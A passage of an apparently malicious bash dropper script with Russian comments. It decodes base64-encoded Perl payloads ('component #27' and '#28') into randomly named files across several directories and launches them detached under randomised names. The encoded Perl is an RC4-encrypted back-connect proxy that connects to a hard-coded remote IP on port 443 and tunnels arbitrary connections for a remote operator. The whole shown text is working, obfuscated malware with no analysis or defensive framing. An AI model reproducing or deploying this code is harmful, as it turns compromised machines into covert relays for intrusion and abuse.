ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #27 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #27 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 28 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xODQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j 